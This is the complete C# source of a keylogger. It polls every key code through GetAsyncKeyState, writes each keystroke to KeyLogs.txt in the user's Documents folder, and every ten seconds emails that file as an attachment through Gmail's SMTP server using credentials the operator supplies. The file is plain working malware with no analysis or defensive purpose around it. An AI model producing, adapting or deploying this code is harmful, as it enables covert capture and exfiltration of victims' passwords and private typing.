using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.Windows.Forms;
using System.Timers;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.IO;

namespace ConsoleApplication3
{
    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        private static System.Timers.Timer aTimer;
        static void Main(string[] args)

        {
            aTimer = new System.Timers.Timer(10000);
            aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
            aTimer.Interval = 10000;
            aTimer.Enabled = true;
            Start();

        }
        static void Start()
        {
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        string toStringKeys = Convert.ToString((Keys)i);
                        File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
                        break;

                    }

                }

            }
        }
        static void OnTimedEvent(object source, ElapsedEventArgs e)
        {
            sendMail();
            Console.WriteLine("Email sent"); //just to make sure that the email gets sent
            Start();
        }
        static void sendMail()
        {
            string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
            string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";



            gmailUser = ""; //put your gmail email.
            gmailPass = ""; //Put your gmail pass
            toEmail = gmailUser;
            fromEmail = gmailUser;
            subject = "Keylogs";
            body = "Here it is!";

            MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);

            smtp.EnableSsl = true;
            smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);

            if (keylogs != null || keylogs != string.Empty)
            {
                Attachment attach = new Attachment(keylogs);
                message.Attachments.Add(attach);
            }

            smtp.Send(message);


        }

    }



}